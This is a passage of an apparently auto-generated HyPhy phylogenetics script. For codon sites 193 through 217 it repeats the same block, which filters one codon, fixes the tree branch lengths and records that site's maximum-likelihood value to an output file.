assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 193");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "193\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 194...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "579,580,581", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 194");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "194\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 195...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "582,583,584", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 195");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "195\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 196...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "585,586,587", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 196");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "196\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 197...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "588,589,590", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 197");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "197\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 198...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "591,592,593", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 198");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "198\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 199...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "594,595,596", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 199");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "199\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 200...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "597,598,599", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 200");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "200\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 201...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "600,601,602", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 201");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "201\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 202...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "603,604,605", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 202");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "202\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 203...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "606,607,608", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 203");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "203\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 204...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "609,610,611", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 204");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "204\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 205...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "612,613,614", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 205");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "205\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 206...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "615,616,617", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 206");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "206\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 207...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "618,619,620", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 207");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "207\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 208...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "621,622,623", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 208");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "208\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 209...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "624,625,626", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 209");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "209\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 210...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "627,628,629", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 210");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "210\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 211...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "630,631,632", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 211");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "211\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 212...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "633,634,635", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 212");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "212\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 213...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "636,637,638", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 213");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "213\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 214...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "639,640,641", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 214");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "214\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 215...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "642,643,644", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 215");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "215\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 216...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "645,646,647", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 216");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "216\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 217...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "648,649,650", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 217");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
